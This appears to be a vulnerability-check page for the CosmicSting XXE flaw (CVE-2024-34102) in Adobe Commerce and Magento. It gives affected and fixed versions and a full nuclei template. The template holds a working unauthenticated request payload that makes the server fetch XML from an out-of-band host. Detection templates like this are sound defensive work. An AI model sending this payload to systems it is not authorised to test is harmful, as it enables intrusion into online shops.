Adobe Commerce & Magento - CosmicSting

Exploited in the wild. Listed by CISA on 2024-07-17; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.

Impact

Unauthenticated attackers can exploit XXE to achieve arbitrary code execution on Adobe Commerce and Magento instances.

Fix

Update Adobe Commerce to version 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 or later.

How to confirm it

Send: POST /rest/V1/guest-carts/1/estimate-shipping-methods
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "application/json") and contains_any(body, "log file", "cartId", "no Route") and contains(body, "message")

Run it with nuclei: nuclei -id CVE-2024-34102 -u <target>

The full check

id: CVE-2024-34102

info:
  name: Adobe Commerce & Magento - CosmicSting
  author: DhiyaneshDK
  severity: critical
  description: |
    Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.
  impact: |
    Unauthenticated attackers can exploit XXE to achieve arbitrary code execution on Adobe Commerce and Magento instances.
  remediation: |
    Update Adobe Commerce to version 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9 or later.
  reference:
    - https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md
    - https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-34102
    cwe-id: CWE-611
    epss-score: 0.99994
    epss-percentile: 0.99987
    cpe: cpe:2.3:a:adobe:magento:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Adobe-Magento"
    product: magento
    vendor: adobe
  tags: cve,cve2024,adobe,magento,xxe,kev,vkev,vuln

http:
  - raw:
      - |
        POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://{{interactsh-url}}/xxe.xml","dataIsURL":true,"options":12345678}}}}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "log file", "cartId", "no Route")'
          - 'contains(body, "message")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from